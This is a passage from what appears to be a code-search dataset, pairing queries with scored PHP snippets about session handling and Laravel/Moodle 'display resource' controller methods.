parseSessionsList($subpage, $organization_id);\n }\n }\n\n }\n }\n}", "title": "" }, { "docid": "7fc9318a96a39d7bb033a61a13b46b6e", "score": "0.5559839", "text": "static function end(){\n\t\t$vars = var_export(Session::$vars,1);\n\t\tif(Session::$init_vars != $vars){\n\t\t\tif($session=DB::select('session_user','SESSION_ID=\\''.addslashes(Session::$name).'\\'')){\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4f2eaeeadb5a17e7ec6aefb8bb45d8fc", "score": "0.5559383", "text": "function zbase_sessions()\r\n{\r\n\treturn \\Session::all();\r\n}", "title": "" }, { "docid": "db51878621da2830cbc0c4ee2b81f8b9", "score": "0.5533471", "text": "public function getSession($sessionUuid);", "title": "" }, { "docid": "a0fbe1d571a12b718de9de14c19442e4", "score": "0.5529426", "text": "function loadMyProperties(Session $session): array;", "title": "" }, { "docid": "ece6c19ad7ff1014903dfaaefda75113", "score": "0.5520731", "text": "#[Pure]\n public function getAll() : array\n {\n return $_SESSION;\n }", "title": "" }, { "docid": "81ac0333512c8f2dcece9b793f47fe26", "score": "0.5508175", "text": "function iniciarsession(){}", "title": "" }, { "docid": "83a693fca9a9de9e7e1ff51e4e39fef9", "score": "0.5486262", "text": "private function get_session()\n\t\t{\n\t\t\t$auto = $this->use_token();\n\n\t\t\tglobal $user;\n\t\t\tif ($user)\n\t\t\t\treturn (object)['id' => $user->id, 'name' => $user->name, 'state' => $_SESSION['state']];\n\t\t\telse if ($auto)\n\t\t\t\treturn (object)['id' => $auto->id, 'name' => $auto->name, 'state' => $_SESSION['state']];\n\t\t\telse\n\t\t\t\treturn (object)['id' => null, 'name' => null, 'state' => 0];\n\t\t}", "title": "" }, { "docid": "d3e4165862759b6252a94f4dda42ce89", "score": "0.5479809", "text": "public function active()\n {\n // Create query finding all active sessions\n $query = $this->entityManager->createQuery('SELECT s.id, s.name, s.isPrivate, count(m.id) memberCount FROM Session s LEFT JOIN s.members m WHERE s.lastAction > ?1 GROUP BY s.id');\n $query->setParameter(1, new DateTime('-1 hour'));\n $sessions = $query->getArrayResult();\n return $sessions;\n }", "title": "" }, { "docid": "b0454ec61d0814fec7092d39f8ca94c2", "score": "0.54750127", "text": "public function getSession()\n\t{\n\t\tif (isset($_SESSION[$this->getKey()]))\n\t\t{\n\t\t\treturn unserialize($_SESSION[$this->getKey()]);\n\t\t}\n\t}", "title": "" }, { "docid": "ba81519617e238d5c5d291e073c574a6", "score": "0.5455043", "text": "function _read_user_session()\n {\t\t\n\t\tif($this->sh_Options['keeping_logic'] == 'db'){\n\t\t\t$this->is_present = $this->_read_user_session_db();\n\t\t} else {\n\t\t\t$this->is_present = $this->_read_user_session_ss();\n\t\t}\n\t}", "title": "" }, { "docid": "09dc83384f8a2cbe05e9a4484e7ac891", "score": "0.54541355", "text": "public function retrieveAllUserSession()\n {\n return self::sendRequest(Method::GET, self::$endpoint);\n }", "title": "" }, { "docid": "150e1062159251610d9cb7ad079ab4e2", "score": "0.5437574", "text": "public function glitchDump(): iterable\n {\n $this->_ensureSessionData();\n yield 'values' => $this->_sessionData;\n }", "title": "" }, { "docid": "ef5a4b181c0843ea48a051326e055672", "score": "0.5409164", "text": "function mmrpg_website_sessions_active($session_href = '', $session_timeout = 3, $strict_filtering = false){\n // Import required global variables\n global $db, $this_userid;\n // Define the timeouts for active sessions\n $this_time = time();\n $min_time = strtotime('-'.$session_timeout.' minutes', $this_time);\n // If we're not using strict filtering, just collect normally\n if (!$strict_filtering){\n // Collect any sessions that are active and match the query\n $inner_href_query = !empty($session_href) ? \"AND session_href LIKE '{$session_href}%'\" : '';\n $active_sessions = $db->get_array_list(\"SELECT DISTINCT user_id, session_href FROM mmrpg_sessions WHERE session_access >= {$min_time} {$inner_href_query} ORDER BY session_access DESC\", 'user_id');\n }\n // Otherwise, we have to excluce users who have since visited other pages\n else {\n // Collect any sessions that are active and match the query\n $active_sessions = $db->get_array_list(\"SELECT DISTINCT user_id, session_href FROM mmrpg_sessions WHERE session_access >= {$min_time} ORDER BY session_access ASC\", 'user_id');\n if (!empty($active_sessions) && !empty($session_href)){\n foreach ($active_sessions AS $key => $session){\n if (!preg_match('/^'.str_replace(\"/\", \"\\/\", $session_href).'/i', $session['session_href'])){\n unset($active_sessions[$key]);\n }\n }\n }\n }\n // Return the active session count if not empty\n return !empty($active_sessions) ? $active_sessions : array();\n}", "title": "" }, { "docid": "94e3b8bb73371210d744808f38ae1b73", "score": "0.5407136", "text": "public function testIteratorForEmptyCollection()\n {\n $sessionItemCollection = new SessionItemCollection();\n\n $sessionItemArray = iterator_to_array($sessionItemCollection);\n\n self::assertSame([], $sessionItemArray);\n self::assertSame(PHP_SESSION_NONE, FakeSession::getStatus());\n self::assertSame([], $_SESSION);\n }", "title": "" }, { "docid": "0708c383598b5edeefaf0dcff2574763", "score": "0.5392836", "text": "function find_session($db, $session)\n{\n if (isset($session)) {\n $records = exec_sql_query(\n $db,\n \"SELECT * FROM sessions WHERE session = :session;\",\n array(':session' => $session)\n )->fetchAll();\n if ($records) {\n // sessions are unique, so there should only be 1 record\n return $records[0];\n }\n }\n return NULL;\n}", "title": "" }, { "docid": "2ff9c46b6d783e0fdb6535e8cd9228b5", "score": "0.5385854", "text": "public function getSessions()\n {\n return $this->sessions;\n }", "title": "" }, { "docid": "d01b8398a72d874e8b5c5f60688c8a12", "score": "0.5378561", "text": "public function getSession() {\n\t\tif (isset($_SESSION[\"_jre_session\"]))\n\t\treturn $_SESSION[\"_jre_session\"];\n\t\telse\n\t\t$_SESSION[\"_jre_session\"] = new stdClass();\n\t\treturn $_SESSION[\"_jre_session\"];\n\t}", "title": "" }, { "docid": "874fed4934ec618520ed8068217c94ae", "score": "0.5378397", "text": "function sessions_in_room($roomID, $err_message = \"\")\n{\n\t$db = adodb_connect( &$err_message );\n\t\n\tif (!$db) \n\t{\n\t\t$err_message .= \"Unable to connect to database.<br />\\n\";\n\t\treturn true;\t// Don't want to make assumption that it ISN'T used\n\t}\n\t\n\t$sql = \"SELECT * FROM \".$GLOBALS[\"DB_PREFIX\"].\"Session \";\n\t$sql .= \"WHERE RoomID=\".$roomID;\n\t$result = $db -> Execute($sql);\n\t\n\tif ($result) {\n\t\t$sessions = array();\n\t\twhile ($session = $result -> FetchNextObj())\n\t\t\t$sessions[] = $session;\n\t}\n\treturn $sessions;\n}", "title": "" }, { "docid": "8807745b6f8117637c62604cc4fa6665", "score": "0.53740174", "text": "function getAll(){\n\t\treturn $this->_sessionBag->val();\n\t}", "title": "" }, { "docid": "e39454d446baff041e649902301a02b1", "score": "0.5370135", "text": "public function getCurrentSession();", "title": "" }, { "docid": "2b3eb3dc2d05f0ef7506bc622dc9d45d", "score": "0.5354707", "text": "protected function initializeSession() {}", "title": "" }, { "docid": "5d1b5267cfe3ce189eedf5cbb45e9a27", "score": "0.5345976", "text": "public function dellAllFromSession(): void\n {\n $this->sessionStart();\n $_SESSION = [];\n }", "title": "" }, { "docid": "08fc070cb991af16341b01a5b5234745", "score": "0.5342468", "text": "public function next()\n {\n $this->valid = (false !== next($this->sessionData)); \n }", "title": "" }, { "docid": "6ddfaa8174f47cb6e0b3dd87cb93e6dc", "score": "0.5337046", "text": "static function getSessionsForUser($userID)\n\t{\n\t\t$sessions = array();\n\t\tif ($user = mobilAP_user::getUserByID($userID)) {\n\t\t\t/* if the user is a site admin return ALL sessions */\n\t\t\tif ($user->isSiteAdmin()) {\n\t\t\t\treturn mobilAP_session::getSessions();\n\t\t\t}\n\t\t\t\n\t\t\t$sql = sprintf(\"SELECT * FROM %s \t\n\t\t\t\t\tWHERE session_id IN (SELECT session_id FROM %s WHERE presenter_id=?)\n\t\t\t\t\tORDER BY session_id\",\n\t\t\t\t\tmobilAP_session::SESSION_TABLE,\n\t\t\t\t\tmobilAP_session::SESSION_PRESENTER_TABLE);\n\t\t\t$params = array($user->getUserID());\t\t\n\t\t\t$result = mobilAP::query($sql,$params);\n\t\t\t$sessions = array();\n\t\t\tif (mobilAP_Error::isError($result)) {\n\t\t\t\treturn $sessions;\n\t\t\t}\n\t\t\t\n\t\t\twhile ($row = $result->fetchRow()) {\n\t\t\t\t$session = mobilAP_session::loadSessionFromArray($row);\n\t\t\t\t$sessions[] = $session;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $sessions;\n\t}", "title": "" }, { "docid": "9a2ceb7dc74db714ef6d44480fc20364", "score": "0.533651", "text": "function getSession($key) {\n //if the has session function has a key\n if(hasSession($key)) {\n //return the session and the key\n return $_SESSION[$key];\n }//end if\n\n return null;\n}", "title": "" }, { "docid": "fc2da14cf8178a0f5f5ae5c5bc2a9e77", "score": "0.5328918", "text": "public function testGetIterator()\n\t{\n\t\t$s = $this->session->getNamespace('one');\n\t\t$s->a = 'apple';\n\t\t$s->p = 'pear';\n\t\t$s['o'] = 'orange';\n\t\t$result = $this->serialize($s->getIterator());\n\t\t$this->assertEquals('a=apple;p=pear;o=orange;', $result, 'Iteration over default Session namespace failed');\n\n\t\t$s = $this->session->getNamespace('two');\n\t\t$s->g = 'guava';\n\t\t$s->p = 'peach';\n\t\t$s['p'] = 'plum';\n\t\t$result = $this->serialize($s->getIterator());\n\t\t$this->assertEquals('g=guava;p=plum;', $result,\t'Iteration over named Session namespace failed');\n\t}", "title": "" }, { "docid": "04e20cf67466fe15845b2cba3b709af4", "score": "0.53272253", "text": "function cek_session(){\n echo '<pre>';\n print_r($this->session->all_userdata());\n echo '</pre>';\n }", "title": "" }, { "docid": "0cd8a95a458a54f96736ccc4fe1c2924", "score": "0.53204226", "text": "public function getSession()\n {\n $session = array(null, null);\n foreach ($this->readAll() as $cookie) {\n // Check for http || https\n if (strpos($cookie['name'], 'SESS') === 0\n || strpos($cookie['name'], 'SSESS') === 0\n ) {\n $session = array($cookie['name'], $cookie['value']);\n break;\n }\n }\n\n return $session;\n }", "title": "" }, { "docid": "22296dbdea5739c522c5bc5482635eae", "score": "0.5314519", "text": "public function sessionDetails($sessions, $start = false, $limit = false, $sortby = []);", "title": "" }, { "docid": "8d3c32ed3fd018ffef05380bf9d12fcb", "score": "0.5301632", "text": "protected function getSession () {\n\t\treturn $this->session;\n\t}", "title": "" }, { "docid": "ee2deca8faed7248780143e47460845d", "score": "0.5300465", "text": "public function getSession(){\n if ($this->_session instanceof Session) {\n return $this->_session;\n }\n return $this->_createSession();\n }", "title": "" }, { "docid": "8819ff5a28fd85c1506c553ab26b7e52", "score": "0.529605", "text": "protected function retrieveItemsFromSession()\n {\n $this->items = $this->session->get(static::SESSION_CART_KEY, []);\n }", "title": "" }, { "docid": "ddd372360fdedc1550009ed6492c31d9", "score": "0.5290505", "text": "function getAvailableSessions () {\n\t\t\n\t\t$query = \"\n\t\t\t\tSELECT \n\t\t\t\t\t* \n\t\t\t\tFROM \n\t\t\t\t\tsession_detail\n\t\t\t\tWHERE\n\t\t\t\t\tspaces_left > 0\n\t\t\t\t\";\n\t\t\n\t\t$db = new db;\n\t\t\n\t\t$resultSet = $db->select($query);\n $results = $db->results_to_array($resultSet);\n\t\treturn $results;\n\t}", "title": "" }, { "docid": "9d04c0ab38260f390c8f6dcc5e85f963", "score": "0.5277431", "text": "public function forgetSession()\n\t{\n\t\tif (isset($_SESSION[$this->getKey()]))\n\t\t{\n\t\t\tunset($_SESSION[$this->getKey()]);\n\t\t}\n\t}", "title": "" }, { "docid": "fe7eddcd762db7c644dbd98008277e46", "score": "0.5269139", "text": "public function getSessions(){\n $conn = $this->connect();\n $array = array();\n $query = \"SELECT * FROM session;\";\n $result = $conn->query($query);\n while($row = $result->fetch_assoc()){\n $array[] = $row;\n }\n $conn->close();\n return $array;\n }", "title": "" }, { "docid": "5aedbb8c63929bcc6548c0646e7a064d", "score": "0.5268062", "text": "function session_exists ( $for, $against, $in )\n{\n\t// For: \t\twhat to search for (the key).\n\t// Againast:\twhat $for should evaluate against.\n\t// In:\t\t\twhere to search (session?).\n\t$CI =& get_instance();\n\tif ( ! isset ( $CI->session ) )\n\t{\n\t\tdie ( 'User Auth Helper requires the <code>session</code> library to be loaded.' );\n\t}\n\tif ( gettype( $in ) == 'array' && count( $in ) > 0 )\n\t{\n\t\tif ( $in[$for] == $against )\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\telseif ( $in == 'session' )\n\t{\n\t\t$sess = @$CI->session->userdata( $for );\n\t\tif ( $sess == $against )\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse { }\n}", "title": "" }, { "docid": "51ceead7bda7e534d599643c1c1e296e", "score": "0.52668077", "text": "public function getSession(): object\n {\n return SessionTrait::sessionFromGlobal();\n }", "title": "" }, { "docid": "38c963b5d884341dc29798b314db9524", "score": "0.5258051", "text": "public function getUserSessions()\n {\n return array();\n }", "title": "" }, { "docid": "81dc2ec379ccf9592ac4dea2c5878c29", "score": "0.52506477", "text": "function sessionFields($resultSet){\r\n\t\t$_SESSION['id'] = $resultSet[0]->id;\r\n\t\t$_SESSION['username'] = $resultSet[0]->username;\r\n\t\t$_SESSION['name'] = $resultSet[0]->name;\r\n\t\t$_SESSION['surname'] = $resultSet[0]->surname;\r\n\t\t$_SESSION['email'] = $resultSet[0]->email;\r\n\t\t$_SESSION['role'] = $resultSet[0]->role;\r\n\t\t$_SESSION['picture'] = $resultSet[0]->picture;\r\n\t}", "title": "" }, { "docid": "dfe933b1fa70221002b76354bbad3d18", "score": "0.5249135", "text": "public function getSession(): Session\n {\n return $this->target->getSession();\n }", "title": "" }, { "docid": "d14f921c8c45a549b08738aa499d0849", "score": "0.5245157", "text": "public static function getAll () {\n return self::isAuthorized() ? $_SESSION : null;\n }", "title": "" }, { "docid": "11d54bb21c26790a2e8865fba724361d", "score": "0.52425987", "text": "function geefSession() {\n echo '<pre>';\n print_r( $_SESSION );\n echo '</pre>';\n}", "title": "" }, { "docid": "cc165c3b7de6e537876f31f826c702eb", "score": "0.5239676", "text": "public function getSession($sessionIdentifier);", "title": "" }, { "docid": "4059ae0daeb268cb9edec1ee6c9f76d5", "score": "0.5228701", "text": "public function testGetForPreviouslyInitiatedSession()\n {\n FakeSession::setPreviousSession(['Foo' => 'Bar']);\n\n $sessionItemCollection = new SessionItemCollection();\n\n self::assertSame('Bar', $sessionItemCollection->get('Foo'));\n self::assertSame(PHP_SESSION_ACTIVE, FakeSession::getStatus());\n self::assertSame(['Foo' => 'Bar'], $_SESSION);\n }", "title": "" }, { "docid": "60388b0bf6392cc9b231a94402d76cb1", "score": "0.52262956", "text": "public function getSessionInActiveTabObservation()\n {\n $id = Yii::app()->user->idUser;\n $result = Yii::app()->db->createCommand(\n 'SELECT u.firstName, u.lastName, u.avatarPath, name, title, description, s.datePost,\n s.dateCreate, s.idSession, COUNT(DISTINCT(a.idArchive)) AS numArchive,s.active, s.idUserCreate\n FROM sessions AS s\n LEFT JOIN invited_session AS i ON s.idSession = i.idSession\n INNER JOIN users AS u ON s.idUserCreate = u.idUser\n INNER JOIN topics AS t ON s.idTopic = t.idTopic\n LEFT JOIN archive_session AS a ON s.idSession = a.idSession\n WHERE (i.idUserInvited = :idUserInvited OR s.idUserCreate = :idUserCreate) AND ((s.datePost+ INTERVAL 1 DAY) >= Now())\n AND (t.active = 1) AND s.active = 1 AND (i.isJoined = 1 OR s.idUserCreate = :idUserCreate)\n GROUP BY s.idSession\n ORDER BY s.active desc, s.datePost desc')\n ->bindValues(array(':idUserInvited' => $id, ':idUserCreate' => $id))\n ->queryAll();\n return $result;\n }", "title": "" }, { "docid": "9f089e53f79d4e95e65d3007537d6852", "score": "0.5221989", "text": "public function getSession() {\n\t\treturn $this->session;\n\t}", "title": "" }, { "docid": "90efcbe304672d99f5c0dd3fa7e6d018", "score": "0.52167803", "text": "protected abstract function get_session($verifier);", "title": "" }, { "docid": "b7ba3c71172e8255fa791c05a16202a2", "score": "0.5200123", "text": "static private function getSSOSessionMapping() {\n\t\t$f = 'sessions/SessionMapping.txt';\n\t\t\n\t\tif (file_exists($f)){\n\t\t\t$data = file_get_contents($f);\t\t\n\t\t\t$result = unserialize($data);\n\t\t\treturn $result;\n\t\t}\n\t\telse\n\t\t\treturn array();\n\t}", "title": "" }, { "docid": "d3ffc2524f15869221fd57cc5820b95a", "score": "0.51940703", "text": "public function sessionGet($sessionId);", "title": "" }, { "docid": "77be3be38af94085c1d23aa8dabec273", "score": "0.51885206", "text": "function get_session_info( $sessionID , $err_message = \"\" )\n{\n\t$db = adodb_connect( &$err_message );\n\t\n\t$sql = \"SELECT * FROM \".$GLOBALS[\"DB_PREFIX\"].\"Session \";\n\t$sql .= \"WHERE SessionID=\".$sessionID;\n\t$result = $db -> Execute($sql);\n\t\n\tif (!$result)\n\t\treturn NULL;\n\t\n\treturn $result -> FetchNextObj();\n}", "title": "" }, { "docid": "d2e21ba5a5af9b9da8321206cac8e2ca", "score": "0.51874053", "text": "public function getSession()\n {\n return $this->_session;\n }", "title": "" }, { "docid": "360389ed55fbdbba1282a0f3c65a00aa", "score": "0.518342", "text": "protected function fetchUserSessionFromDB() {}", "title": "" }, { "docid": "e42a5988cd8a4f8f572b5357d5423a03", "score": "0.51829153", "text": "function session_begin(): bool\n{\n return session_start();\n}", "title": "" }, { "docid": "39d7e7e290d70f4f63f8cbe148f8b766", "score": "0.5181232", "text": "public function requestGetSession() {\n\t \treturn $this->session;\n\t }", "title": "" }, { "docid": "ce2adcc2637362686243d396a2852451", "score": "0.5181182", "text": "public function testGetAll()\n {\n $obj = new \\sesy\\Session();\n $obj->start();\n $expected = array(\n \"key1\" => \"value1\",\n \"key2\" => \"value2\"\n );\n $_SESSION = $expected;\n $this->assertEquals(\n $obj->get(),\n $expected\n );\n }", "title": "" }, { "docid": "84279b4298a077f73423a52a7ffc2435", "score": "0.5178425", "text": "protected function checkSessionLifetime() {}", "title": "" }, { "docid": "4429b2f6924c6947a1ff35c3f6896477", "score": "0.517287", "text": "function getSession() {\n\t\treturn $this->get('_session', $this->get('session'));\n\t}", "title": "" }, { "docid": "941c93ea202bcccd1930e32878f622df", "score": "0.5160197", "text": "public function getSession()\n {\n return $this->session;\n }", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "8446b80afac4164f59cd2b94e5c361ef", "score": "0.0", "text": "public function show($slug)\n\t{\n\t\t//$articles = Category::findBySlug($slug)->articles()->latest()->paginate(8);\n\t\t$page_size = setting('page_size');\n\n\t\t$category = Category::findBySlug($slug);\n\n\t\t$articles = \\App\\Article::with('tags', 'category')->whereHas('category', function($query) use($slug)\n\t\t{\n\t\t\t$query->whereSlug($slug);\n\t\t})->latest()->paginate($page_size);\n\t\t\n\t\treturn view('home.categories.show',compact('articles', 'category'));\n\t}", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "e5152a75698da8d87238a93648112fcf", "score": "0.72897154", "text": "function display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->fetch($resource_name, $cache_id, $compile_id, true);\n }", "title": "" }, { "docid": "03308cdf1f3eb0c47d8f3059a2a11231", "score": "0.7062654", "text": "public function show(Resource $resource)\n {\n app('App\\Http\\Controllers\\ViewsController')->resourceView($resource);\n\n return view('resources.show', compact('resource'));\n }", "title": "" }, { "docid": "d7820004a578ddc16d57dff08d715ef0", "score": "0.70187664", "text": "public function showResource()\n\t{\n\t\treturn view('resources.list')->with('resources', Resources::all());\n\t}", "title": "" }, { "docid": "426f9c78118dbbe009edc89fcf8571df", "score": "0.6748524", "text": "public function show(Resource $resource)\n {\n //\n\t\t\t\treturn response()->json($resource);\n }", "title": "" }, { "docid": "921410ad408e73391c76fba66fc4ab57", "score": "0.65274835", "text": "function display() {\n global $CFG, $THEME, $USER;\n\n require_once($CFG->libdir.'/filelib.php');\n\n /// Set up generic stuff first, including checking for access\n parent::display();\n\n /// Set up some shorthand variables\n $cm = $this->cm;\n $course = $this->course;\n $resource = $this->resource;\n\n /// Fetch parameters\n $inpopup = optional_param('inpopup', 0, PARAM_BOOL);\n $page = optional_param('page', 0, PARAM_INT);\n $frameset= optional_param('frameset', '', PARAM_ALPHA);\n\n /// Init some variables\n $errorcode = 0;\n $buttontext = 0;\n $querystring = '';\n $resourcetype = '';\n $mimetype = mimeinfo(\"type\", $resource->reference);\n $pagetitle = strip_tags($course->shortname.': '.format_string($resource->name));\n\n $formatoptions = new object();\n $formatoptions->noclean = true;\n\n /// Cache this per request\n static $items;\n\n /// Check for errors\n $errorcode = $this->check4errors($resource->reference, $course, $resource);\n\n /// If there are any error, show it instead of the resource page\n if ($errorcode) {\n if (!has_capability('moodle/course:activityvisibility', get_context_instance(CONTEXT_COURSE, $course->id))) {\n /// Resource not available page\n $errortext = get_string('resourcenotavailable','resource');\n } else {\n /// Depending of the error, show different messages and pages\n if ($errorcode ==1) {\n $errortext = get_string('invalidfiletype','error', $resource->reference);\n } else if ($errorcode == 2) {\n $errortext = get_string('filenotfound','error', $resource->reference);\n } else if ($errorcode == 3) {\n $errortext = get_string('packagenotdeplyed','resource');\n } else if ($errorcode == 4) {\n $errortext = get_string('packagechanged','resource');\n } else if ($errorcode == 5) {\n $errortext = get_string('packagenotdeplyed','resource'); // no button though since from repository.\n }\n }\n /// Display the error and exit\n if ($inpopup) {\n print_header($pagetitle, $course->fullname.' : '.$resource->name);\n } else {\n print_header($pagetitle, $course->fullname, \"$this->navigation \".format_string($resource->name), \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm));\n }\n print_simple_box_start('center', '60%');\n echo '<p align=\"center\">'.$errortext.'</p>';\n /// If errors were 3 or 4 and isteacheredit(), show the deploy button\n if (has_capability('moodle/course:manageactivities', get_context_instance(CONTEXT_COURSE, $course->id)) && ($errorcode == 3 || $errorcode == 4)) {\n $link = 'type/ims/deploy.php';\n $options['courseid'] = $course->id;\n $options['cmid'] = $cm->id;\n $options['file'] = $resource->reference;\n $options['sesskey'] = $USER->sesskey;\n $options['inpopup'] = $inpopup;\n if ($errorcode == 3) {\n $label = get_string ('deploy', 'resource');\n } else if ($errorcode == 4) {\n $label = get_string ('redeploy', 'resource');\n }\n $method='post';\n /// Let's go with the button\n echo '<center>';\n print_single_button($link, $options, $label, $method);\n echo '</center>';\n }\n print_simple_box_end();\n /// Close button if inpopup\n if ($inpopup) {\n close_window_button();\n }\n\n print_footer();\n exit;\n }\n\n /// Load serialized IMS CP index to memory only once.\n if (empty($items)) {\n if (!$this->isrepository) {\n $resourcedir = $CFG->dataroot.'/'.$course->id.'/'.$CFG->moddata.'/resource/'.$resource->id;\n }\n else {\n $resourcedir = $CFG->repository . $resource->reference;\n }\n if (!$items = ims_load_serialized_file($resourcedir.'/moodle_inx.ser')) {\n error (get_string('errorreadingfile', 'error', 'moodle_inx.ser'));\n }\n }\n\n /// Check whether this is supposed to be a popup, but was called directly\n\n if (empty($frameset) && $resource->popup && !$inpopup) { /// Make a page and a pop-up window\n\n print_header($pagetitle, $course->fullname, \"$this->navigation \".format_string($resource->name), \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm));\n\n echo \"\\n<script type=\\\"text/javascript\\\">\";\n echo \"\\n<!--\\n\";\n echo \"openpopup('/mod/resource/view.php?inpopup=true&id={$cm->id}','resource{$resource->id}','{$resource->popup}');\\n\";\n echo \"\\n-->\\n\";\n echo '</script>';\n\n if (trim(strip_tags($resource->summary))) {\n print_simple_box(format_text($resource->summary, FORMAT_MOODLE, $formatoptions), \"center\");\n }\n\n $link = \"<a href=\\\"$CFG->wwwroot/mod/resource/view.php?inpopup=true&amp;id={$cm->id}\\\" target=\\\"resource{$resource->id}\\\" onclick=\\\"return openpopup('/mod/resource/view.php?inpopup=true&amp;id={$cm->id}', 'resource{$resource->id}','{$resource->popup}');\\\">\".format_string($resource->name,true).\"</a>\";\n\n echo \"<p>&nbsp;</p>\";\n echo '<p align=\"center\">';\n print_string('popupresource', 'resource');\n echo '<br />';\n print_string('popupresourcelink', 'resource', $link);\n echo \"</p>\";\n\n print_footer($course);\n exit;\n }\n\n\n /// No frames or framesets anymore, except iframe. in print_ims, iframe filled.\n /// needs callback to this file to display table of contents in the iframe so\n /// $frameset = 'toc' leads to output of toc and blank or 'ims' produces the\n /// iframe.\n if (empty($frameset) || $frameset=='ims') {\n\n /// Conditional argument to pass to IMS JavaScript. Need to be global to retrieve it from our custom javascript! :-(\n global $jsarg;\n $jsarg = 'false';\n if (!empty($this->parameters->navigationmenu)) {\n $jsarg = 'true';\n }\n /// Define $CFG->javascript to use our custom javascript. Save the original one to add it from ours. Global too! :-(\n global $standard_javascript;\n $standard_javascript = $CFG->javascript; // Save original javascript file\n $CFG->javascript = $CFG->dirroot.'/mod/resource/type/ims/javascript.php'; //Use our custom IMS javascript code\n\n /// moodle header\n if ($resource->popup) {\n //print_header($pagetitle, $course->fullname.' : '.$resource->name);\n print_header();\n } else {\n print_header($pagetitle, $course->fullname, \"$this->navigation \".format_string($resource->name), \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm, \"parent\"));\n }\n /// content - this produces everything else\n $this->print_ims($cm, $course, $items, $resource, $page);\n /// Moodle footer is back! Now using the DOMContentLoaded event (see resize.js) to trigger the resize\n /// no Moodle footer (because we cannot insert there the resize script).\n /// echo \"</div></div><script type=\\\"text/javascript\\\">resizeiframe($jsarg);</script></body></html>\";\n /// print_footer();\n echo \"</div></div></body></html>\";\n\n /// log it.\n add_to_log($course->id, \"resource\", \"view\", \"view.php?id={$cm->id}\", $resource->id, $cm->id);\n exit;\n }\n\n if ($frameset == 'toc') {\n print_header();\n $this->print_toc($items, $resource, $page);\n echo '</div></div></body></html>';\n exit;\n }\n }", "title": "" }, { "docid": "b08b6bb501370e4c42f069ea734388a0", "score": "0.64993453", "text": "public function get($resource);", "title": "" }, { "docid": "dd518b422828ccdfc7b932a34e62225d", "score": "0.6273607", "text": "public function show(Resource $resource)\n {\n return response()->json($resource);\n \n }", "title": "" }, { "docid": "51a1c3499847de81938cf22e3e336bf2", "score": "0.62220424", "text": "public function getAction()\n {\n \t/**\n \t * @todo handle error cases and return an error, return valid users ondly\n \t */\n \t$id = $this->_request->getParam('id');\n \t$result = $this->_table->find($id);\n \t$this->view->resource = $result->current();\n }", "title": "" }, { "docid": "04d35d47081d101fff17d30acb1f2178", "score": "0.6141969", "text": "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(SugarAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "title": "" }, { "docid": "556fa9c7c8b0bbfca3848834f795e687", "score": "0.6119021", "text": "public function displayAction($id)\n { }", "title": "" }, { "docid": "0243c17e457a131b89a485445f1cee26", "score": "0.60701436", "text": "public function show()\n {\n $this->getView($this->view_name);\n }", "title": "" }, { "docid": "f0d6bc8f87110dac3699808a11a93b8f", "score": "0.6056663", "text": "public function render()\n {\n $this->bindResource($this->resource);\n return parent::render();\n }", "title": "" }, { "docid": "02d611037299aac573636734fd64f517", "score": "0.59945476", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n ); \n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Tripjacks_Model_League l')\n ->where('l.leagueid = ?', $input->id);\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->league = $result[0]; \n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404); \n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input'); \n }\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "7b8f897ba2297696b69f6d8202444107", "score": "0.59492433", "text": "public function displayAction()\n {\n $params = $this->dispatcher->getParams();\n if (isset($params[0]) && $firewall = Firewalls::findFirst(intval($params[0]) ? $params[0] : ['name=:name:', 'bind' => ['name' => $params[0]]])) {\n echo Las::display($firewall->name);\n }\n }", "title": "" }, { "docid": "89b549ed67b4702bbd94de618931239c", "score": "0.594717", "text": "public function show()\n {\n echo $this->render();\n }", "title": "" }, { "docid": "d8bcb4a6a484fbd4595bf60c13751c5f", "score": "0.5916333", "text": "public function display()\n {\n $this->_getAdapter()->display();\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "4e4b4802386aefba7de0e06d94dac1a8", "score": "0.5861693", "text": "public function viewResources($resourceid='')\n {\n $resourceid = db::escapechars($resourceid);\n \n $sql = \"SELECT * FROM kidschurchresources ORDER BY resourceName ASC\";\n $resources = db::returnallrows($sql);\n if(count($resources) > 0){\n $resourceOutput = \"<table class=\\\"memberTable\\\"><tr><th>ID</th><th>Name</th><th>Description</th><th>Type</th><th>Quantity</th><th>Task</th></tr>\";\n foreach($resources as $resource){\n if($resource['resourceID'] == $resourceid){\n $resourceOutput .= \"<tr class=\\\"highlight\\\">\";\n }\n else{\n $resourceOutput .= \"<tr>\";\n }\n $resourceOutput .= 